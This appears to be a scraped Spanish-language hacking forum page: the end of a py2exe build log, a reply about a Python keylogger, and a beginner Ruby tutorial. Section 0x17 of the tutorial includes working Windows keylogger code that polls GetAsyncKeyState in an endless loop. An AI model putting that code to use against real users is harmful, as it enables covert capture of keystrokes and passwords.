byte-compiling C:\Python25\lib\encodings\zlib_codec.py to encodings\zlib_codec.p
yc
byte-compiling C:\Python25\lib\getopt.py to getopt.pyc
byte-compiling C:\Python25\lib\gettext.py to gettext.pyc
byte-compiling C:\Python25\lib\linecache.py to linecache.pyc
byte-compiling C:\Python25\lib\locale.py to locale.pyc
byte-compiling C:\Python25\lib\macpath.py to macpath.pyc
byte-compiling C:\Python25\lib\ntpath.py to ntpath.pyc
byte-compiling C:\Python25\lib\optparse.py to optparse.pyc
byte-compiling C:\Python25\lib\os.py to os.pyc
byte-compiling C:\Python25\lib\os2emxpath.py to os2emxpath.pyc
byte-compiling C:\Python25\lib\popen2.py to popen2.pyc
byte-compiling C:\Python25\lib\posixpath.py to posixpath.pyc
byte-compiling C:\Python25\lib\quopri.py to quopri.pyc
byte-compiling C:\Python25\lib\random.py to random.pyc
byte-compiling C:\Python25\lib\re.py to re.pyc
byte-compiling C:\Python25\lib\repr.py to repr.pyc
byte-compiling C:\Python25\lib\sre.py to sre.pyc
byte-compiling C:\Python25\lib\sre_compile.py to sre_compile.pyc
byte-compiling C:\Python25\lib\sre_constants.py to sre_constants.pyc
byte-compiling C:\Python25\lib\sre_parse.py to sre_parse.pyc
byte-compiling C:\Python25\lib\stat.py to stat.pyc
byte-compiling C:\Python25\lib\string.py to string.pyc
byte-compiling C:\Python25\lib\stringprep.py to stringprep.pyc
byte-compiling C:\Python25\lib\struct.py to struct.pyc
byte-compiling C:\Python25\lib\textwrap.py to textwrap.pyc
byte-compiling C:\Python25\lib\threading.py to threading.pyc
byte-compiling C:\Python25\lib\token.py to token.pyc
byte-compiling C:\Python25\lib\tokenize.py to tokenize.pyc
byte-compiling C:\Python25\lib\traceback.py to traceback.pyc
byte-compiling C:\Python25\lib\types.py to types.pyc
byte-compiling C:\Python25\lib\warnings.py to warnings.pyc
byte-compiling C:\Users\Usuario\test\build\bdist.win32\winexe\temp\bz2.py to bz2
.pyc
byte-compiling C:\Users\Usuario\test\build\bdist.win32\winexe\temp\unicodedata.p
y to unicodedata.pyc
*** copy extensions ***
copying C:\Python25\DLLs\bz2.pyd -> C:\Users\Usuario\test\dist
copying C:\Python25\DLLs\unicodedata.pyd -> C:\Users\Usuario\test\dist
*** copy dlls ***
copying C:\Windows\system32\MSVCR71.dll -> C:\Users\Usuario\test\dist
copying C:\Python25\w9xpopen.exe -> C:\Users\Usuario\test\dist
copying C:\Windows\system32\python25.dll -> C:\Users\Usuario\test\dist
setting sys.winver for 'C:\Users\Usuario\test\dist\python25.dll' to 'py2exe'
copying C:\Python25\lib\site-packages\py2exe\run.exe -> C:\Users\Usuario\test\di
st\test.exe

*** binary dependencies ***
Your executable(s) also depend on these dlls which are not included,
you may or may not need to distribute them.

Make sure you have the license if you distribute any of them, and
make sure you don't distribute files belonging to the operating system.

   ADVAPI32.dll - C:\Windows\system32\ADVAPI32.dll
   USER32.dll - C:\Windows\system32\USER32.dll
   SHELL32.dll - C:\Windows\system32\SHELL32.dll
   KERNEL32.dll - C:\Windows\system32\KERNEL32.dll


C:\Users\Usuario\test>


Eso seria todo


0x23 : Bibliografia


PDF Python para todos



#439
Python / Re:[Python] Simple Keylogger
Julio 23, 2011, 09:48:58 PM
Na , es mas facil instalar las dos librerias que hacerlo usando la api de windows , pero es cuestion de cada uno.
Eso si  , a que te referis con copy-paste ¿?

#440
Ruby / [Guia] : Iniciando en Ruby
Julio 05, 2011, 05:37:21 PM

[Guia] : Iniciando en Ruby
[Autor] : Doddy Hackman


-- == Indice == --

0x00 : Presentacion
0x01 : Que es Ruby
0x02 : Como cargar un script
0x03 : Tipos de Variables
0x04 : El poder de print
0x05 : Variables argumentales
0x06 : Manejo de array
0x07 : Concatenacion
0x08 : Comentarios
0x09 : Entradas de teclado
0x10 : Tipos de condiciones y rescates de codigo
0x11 : Uso de split
0x12 : Uso de funciones
0x13 : Listar directorios y manejo de archivos
0x14 : Uso de sockets
0x15 : Interactuar con la web y expresiones regulares
0x16 : Descarga de archivos
0x17 : Creando un keylogger
0x18 : Compilar un script a exe
0x19 : Bibliografia


-- == Fin de Indice == --


0x00 : Presentacion

Hola , acabo de hacer un manual corto para ruby , puede que este un poco imcompleto pero solo
puede explicar lo que conozco a nivel basico , espero que le sirve alguien

Cualquier error o sugerencia sobre el manual pueden decirmelo para mejorar


0x01 : Que es Ruby


Segun wiki


Código: text

Ruby es un lenguaje de programación interpretado, reflexivo y orientado a objetos, creado por el programador japonés Yukihiro "Matz" Matsumoto, quien comenzó a trabajar en Ruby en 1993, y lo presentó públicamente en 1995.
Combina una sintaxis inspirada en Python y Perl con características de programación orientada a objetos similares a Smalltalk.
Comparte también funcionalidad con otros lenguajes de programación como Lisp, Lua, Dylan y CLU. Ruby es un lenguaje de programación interpretado en una sola pasada y su implementación oficial es distribuida bajo una licencia de software libre.


En mi opinion personal ruby es un lenguaje de programacion que tiene tanto poder como perl o python.

En la siguiente url tenemos el link para descargar ruby para windows

Código: text

http://ruby-186-25.software.informer.com/



0x02 : Como cargar un script

Si tenemos un script en ruby que hemos encontrado o algo asi , para ejecutarlo tenes que abrir nuestra
consola ms dos ir al directorio donde se encuentra dicho script con el comando cd y cargar con el codigo con el comando
ruby , el cual solo estara disponible si tenemos instalado ruby

Un ejemplo seria algo asi

Código: text

cd c:/ruby
ruby test.rb



0x03 : Tipos de variables


En ruby tenemos variables de tipo


== Locales ==

Son las variables normales se definen de la siguiente forma

Código: text

variable = "valor"


Entre comillas dobles se ponen el valor de la variable local , el nombre de la variable siempre
debe empezar en minusculas


== Globales ==

Son las variables que se pueden usar en cualquier parte del codigo un ejemplo de como declararlas
seria esta

Código: text

$variable = "valor"



== De instancia ==

Son las variables que solo se pueden acceder desde la misma clase , un ejemplo de como declararla
seria esta

Código: text

@variable = "valor"


== Contantes == 

Estas variables no pueden variar sus valores , el nombre de la variable deben empezar con una letra
mayuscula , un ejemplo de como usarlas seria este

Código: text

Variable = "valor"



0x04 : El poder de print


Para mostrar texto en pantalla tenemos que usar print , un ejemplo seria asi

Código: text

print "hola mundo"


Tambien lo podemos hacer con comillas simples

Código: text

print 'hola mundo'


Si queremos mostrar una variable con el texto seria asi

Código: text

valor = "mundo"
print "hola #{valor}"


Como ven usamos #{} para mostrar la variable , si no queremos mostrar esta variable de esa forma
podemos usar una coma de la siguiente forma

Código: text

valor = "mundo"
print "hola ",valor,"\n"


Aclaracion : \n representa una salto de linea para que el texto no se muestre pegado

0x05 : Variables argumentales

Bien , ahora vamos a mi tema favorito , las variables argumentales.
Poniendo un ejemplo seria algo asi

Código: text

print ARGV[0]


Si cargamos el codigo de la siguiente forma

Código: text

ruby codigo.rb hola


Nos devolveria en pantalla hola como ven ese es solo primer argumento porque si queremos usar dos
seria sumandole un uno al cero de la siguiente forma

Código: text

print ARGV[0]
print ARGV[1]


Si cargamos esto

Código: text

ruby codigo.rb hola hola


Nos devolveria dos hola , si queremos aumentar los argumentos solo tenemos que seguir el numero sucesivo del anterior (0,1,2,3) .....

0x06 : Manejo de array

Ok , llego la hora de hablar de los array , una forma de usar array seria asi

Código: text

hilos = ["hola","chau"]


Como vimos en el ejemplo anterior podemos seguir sumandoles valores con solo poner entre comillas los valores

Para poder leer un array seria asi

Código: text

hilos = ["hola","chau"]

hilos.each do |test|
print test
end


Como ven abrimos el array y lo vamos mostrando con print mediante la variable test , despues de ese usamos
end para finalizar la funcion que hicimos para mostrar el array completo.

0x07 : Concatenacion

La concatenacion es util cuando queremos unir variables entre ellas un ejemplo de como hacerlo
seria asi

Código: text

parteuno = "hola "
partedos = "mundo "

sumar = "muestro "+parteuno+partedos
print sumar


Como ven usamos + para poder unir variables o agregar texto a una variable


0x08 : Comentarios


Bien , hora de hablar de los comentarios , entonces si queremos dejar notas en el codigo , tanto
sea como dejar cosas innecesarias o explicacion de una linea de codigo.

Un ejemplo seria asi

Código: text

#hola


Como ven cuando pongamos # todo lo que este adelante de ese linea sera ignorado por el codigo
Si comentemos el error de poder en medio del codigo puede surgir un error inperdonable.

0x09 : Entradas de teclado

Ok , las entradas de teclado son muy necesarias cuando queremos hacer formularios o menus , un ejemplo de como realizar
una entrada de teclado seria haciendo el tipico formulario que te consulta el nombre y la edad.
Un ejemplo seria


Código: text

print "tu nombre : "
nombre = gets.chomp
print "tu edad : "
edad = gets.chomp
print nombre+"\n"
print edad+"\n"


Como ven con get.chomp capturamos la entrada del teclado y guardamos su contenido en la varibles indicadas
Despues mostramos el resultado por pantalla.


0x10 : Tipos de condiciones y rescates de codigo


Bien ahora llego la hora de hablar de las condiciones , las condiciones mas usadas o las unicas
que recuerdo con las siguientes


-- == if-else == --

El tipico if-else , sirve para verificar que si es una cosa es tal cual , si no es asi se ejecuta else.
Un ejemplo seria asi.

Código: text

if "tengo"=="tengo"
print "si"
else
print "no"
end



Como ven si la condicion es verdadera se muestra en pantalla si de lo contrario no
Finalmente se pone end para finalizar la funcion.

Aclaracion : al final de cada funcion siempre debemos poner end de lo contrario habra un error
Aclaracion : == Sirve para verificar que una cosa sea exactamente igual que la otra

-- == while == --

El tipico while , este se encarga de verificar que mientras algo sea tal cual la funcion siempre se ejecutara hasta que la
condicion sea falsa , un ejemplo seria asi

Código: text

while("tengo"=="tengo")
print "hola"
end


Entonces si ejecutamos este codigo la funcion nunca terminara porque la condicion siempre sera verdadera

-- == for == --

Bien , ahora llegamos a for , entonces for nos sirve para cuando queremos listar varios numeros , tambien tiene
otra funciones , pero esta es la que mejor puedo explicar.
Un ejemplo de la confusa idea que estoy tirando seria asi

Código: text

for num in (1..10)
print num
end


Bueno analizando el codigo podria decir que declaramos num para que podamos ir mostrando el rango 1..10 (pueden cambiarlo por los numeros que les
sean necesarios ) mediante print
Finalmente cerramos el bucle con end.

Cuando tengamos error en el codigo en alguna funcion tenemos que rescatar el codigo de la siguiente manera

Código: text

begin
asdsdasd
rescue
print "mal"
end


Como ven despues del begin escribi cualquier cosa , claramente el codigo dara error , entonces con
rescue rescatamos el codigo y mostramos mal , como siempre cerramos begin con end

0x11 : Uso de split

Bien ahora llegamos a la conocida funcion split , esta funcion nos puede ayudar a seperar cosas en una variable por ejemplo si tenemos un texto como este

Código: text

valor = "hola estoy bien"


Si queremos cortar los valores "estoy bien" para que quede solo hola podemos hacer asi

Código: text

valor = "hola estoy bien"
print valor.split("estoy bien")


Si ejecutamos el codigo veremos que logramos hacer lo que queriamos.

0x12 : Uso de funciones

El uso de funciones nos sirve cuando muchas cosas repetidas y queremos reducir un poco el codigo
Un ejemplo seria una funcion que muestre en pantalla lo que nosotros le pidamos.

Para declarar una funcion seria usar def de la siguiente manera

Código: text

def nuevafuncion
end


Como siempre eh dicho usamos end para finalizar cualquier funcion

Entonces si queremos invocar dicha funcion seria asi

Código: text

def nuevafuncion
end

nuevafuncion()


Como ven antes de llamar a una funcion creada por nosotros dicha funcion debio ser declarada antes de la
llamada porque sino habra un error

Entonces para poder varios valores a la funcion para que muestra dicho resultado seria asi

Código: text

def nuevafuncion(a,b,c)
print a
print b
print c
end

nuevafuncion("uno","dos","tres")


Como ven en nuevafuncion() mandamos tres argumentos cada uno separado por como y entre comillas dobles
En la funcion creada le agregamos tres valores a,b,c que sirve para cuando la funcion sea invocada
esta automaticamente reconozca los tres argumentos y los muestre por pantalla con el valores asignados
en la nuevafuncion()

0x13 : Listar directorios y manejo de archivos

Bien , ahora hemos llegado al manejo de archivos y directorios

Para empezar si queremos listar un directorio para enumerar sus archivos con un array podemos
hacer de la siguiente forma

Código: text

files = Dir.new("c:/xampp").entries
files.each do |file|
print file
end


Como ven podemos cambiar el directorio "xampp" por cualquier otro , despues vemos como
enumeramos los archivos encontrados mediante la variable file
Como siempre cerramos la funcion con end.
   
Con eso , ya esta , si lo queremos es abrir un archivo , leerlo y mostrarlo por pantalla
seria algo asi

Código: text

archivo = File.open("var.txt")
lineas = archivo.readlines
lineas.each do |line|
print line
end


Como ven abrimos el archivo var.txt con la variable retornada por la buena ejecucion del archiv podemos
leer el archivo con readlines despues abrimos el array retornado y las mostramos con la variable line
Como siempre cerramos la funcion usada con end

0x14 : Uso de sockets

BIen ahora llegamos a la parte interesante , para poder usar sockets primero deberemos importar el modulo
sockets de la siguiente manera

Código: text

require "socket"


Entonces para conectarons a un servidor al puerto 80 podemos hacer asi

Código: text

sock = TCPSocket.new("localhost",80)


Como ven primero ponemos el host y despues el puerto a entrar
Si todo salio bien no deberia aparecer ningun error

Entonces como estamos en host con http podemos mandar un simple get como para saludarlo de
la siguiente manera

Código: text

require "socket"
socket = TCPSocket.new("localhost",80)
socket.print "GET / HTTP/1.1\r\n"
re = socket.recvfrom(500)
print re


Bien como vemos enviamos una peticion GET con la funcion print del objeto creado con socket , despues
capturamos en la variable re todo la informacion enviada como respuesta por parte del servidor , para
finalmente mostrar la variable re por pantalla

0x15 : Interactuar con la web y expresiones regulares

Bien , ahora llegamos a la parte interesante de ruby ,el manejo de paginas webs.

Entonces empezamos por una simple pagina con el metodo GET

Para poder cargarla tendriamos que invocar al modulo

Código: text

require "net/http"


Entonces para cargar la pagina y guardar el resultado en una variable seria asi

Código: text

code  = Net::HTTP.get_response(URI.parse("http://localhost/sql.php")).body
print code


Como ven capturamos la respuesta , el problema que tiene ruby es que tenemos que parsear la pagina por
eso uso parse con la web que queremos cargar.

Si lo que queremos es cargar una pagina con metodo POST lo que tenemos que hacer es esto

Código: text

code = Net::HTTP.post_form(URI.parse("http://127.0.0.1/post.php"),{"te"=>"probando","ok1"=>"ok"}).body
print code


Como ven primero ponemos la pagina y despues el contenido del formulario encerrado entre los {}

Ahora que pasa si queremos sacar cierta porcion del texto de la variable code , no nos queda
otra que usar expresiones regulares

Imaginemos que en la variable code tenemos el siguiente texto

Código: text
hola mi pass es 123 chau


Y lo queremos sacar es solo "132"

Para poder sacar solo esa porcion de texto lo que tenemos que hacer es lo siguiente

Código: text

code = "hola mi pass es 123 chau"
if code=~/hola mi pass es (.*) chau/
passw = $1
print passw
end


Entonces , con (.*) podemos sacar lo que sea que halla justo donde le indicamos , como vemos
con $1 capturo lo que hay en el (.*) si algunas vez nos chocamos con el caso de que hay dos , para recoger
los resultados seria asi $1,$2 y asi sucesivamente con todos los (.*) que tengamos.
En este caso solo hay uno entonces tenemos el resultado en $1
Despues declaramos la variable local passw con el valor de $1 y la mostramos
Para finalizar la funcion solo tenemos que poner un end.

0x16 : Descarga de archivos

Bien , que paso si queremos descargar archivos , lo que tendriamos que hacer seria esto

Código: text

require "open-uri"

file = "test.txt"
url  = "http://localhost/test.txt"

file = open(file,"wb")
file.write(open(url).read)
file.close



Como podemos ver , el modulo encargado de la descarga es open-uri
Tambien en la variable file ponemos el nombre que tendra el archivo que descargamos  y en
url ponemos el link del archivo a descargar.
Despues de uso creamos el archivo con el nombre indicado con el modo "wb" , despues escribimos en el ,
el contenido del archivo descargado , despues de que se descargo el archivo , se cierro el archivo creado

0x17 : Creando un keylogger

Para poder crear un keylogger en ruby es necesario invocar el modulo Win32API , un ejemplo de un keylogger hecho seria este

Código: text


require "Win32API"

nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")

while 1

for num1 in (0x30..0x39) #numbers
if nave.call(num1) & 0x01 == 1
print num1.chr()
end
end

for num2 in (0x41..0x5A) #letters
if nave.call(num2) & 0x01 == 1
print num2.chr()
end
end
end


Como podemos ver usamos el modulo win32api para poder capturar todas las teclas despues creamos
un while eterno para poder capturar todo el tiempo lo que esta pasando , despues vemos que
si lo que nave (variable para conectarnos con la api llamada) reconoce que los rangos (0x30..0x39) o (0x41..0x5A) son identicos
a lo que nave esta capturando con la funcion call() para poder mostrar la tecla capturada , eso si usamos chr() para decodificar la tecla obtenida

0x18 : Compilar un script a exe


Para compilar un script en ruby a exe tenemos que descargar el siguiente archivo   

Código: text

http://files.rubyforge.vm.bytemark.co.uk/rubyscript2exe/rubyscript2exe-0.5.3.rb


Una vez instalado , cargamos la consola ms dos , entramos al directorio donde se descargo dicho
archivo con cd , despues de eso hacemos lo siguiente para mostrar la ayuda del script descargado

Código: text

ruby rubyscript2exe-0.5.3.rb


Y nos devuelve

Código: text

C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory I
II\manuales>ruby rubyscript2exe-0.5.3.rb

        Usage: ruby rubyscript2exe.rb application.rb[w] [parameters]
               or
               ruby rubyscript2exe.rb application[/] [parameters]

        Where parameter is on of the following:

         --rubyscript2exe-rubyw     Avoid the popping up of a DOS box. (It's
                                    annoying in the test period... No puts and
                                    p anymore... Only use it for distributing
                                    your application. See Logging.)
         --rubyscript2exe-ruby      Force the popping up of a DOS box (default).

         --rubyscript2exe-nostrip   Avoid stripping. The binaries (ruby and
                                    *.so) on Linux and Darwin are stripped by
                                    default to reduce the size of the resulting
                                    executable.
         --rubyscript2exe-strace    Start the embedded application with strace
                                    (Linux only, for debugging only).
         --rubyscript2exe-tk        (experimental) Embed not only the Ruby
                                    bindings for TK, but TK itself as well.
         --rubyscript2exe-verbose   Verbose mode.
         --rubyscript2exe-quiet     Quiet mode.

        On Linux and Darwin, there's no difference between ruby and rubyw.

        For more information, see
        http://www.erikveen.dds.nl/rubyscript2exe/index.html .



Si el script queremos compilar esta en el mismo directorio podemos compilarlo de la siguiente
forma

Código: text


C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory I
II\manuales>rubyscript2exe-0.5.3.rb pro.rb
Tracing pro ...
holaGathering files...
Copying files...
Creating pro.exe ...



Como ven problema resuelto xDD


0x19 : Bibliografia


Manuales de protos (mod de code-makers)


-- == The End == --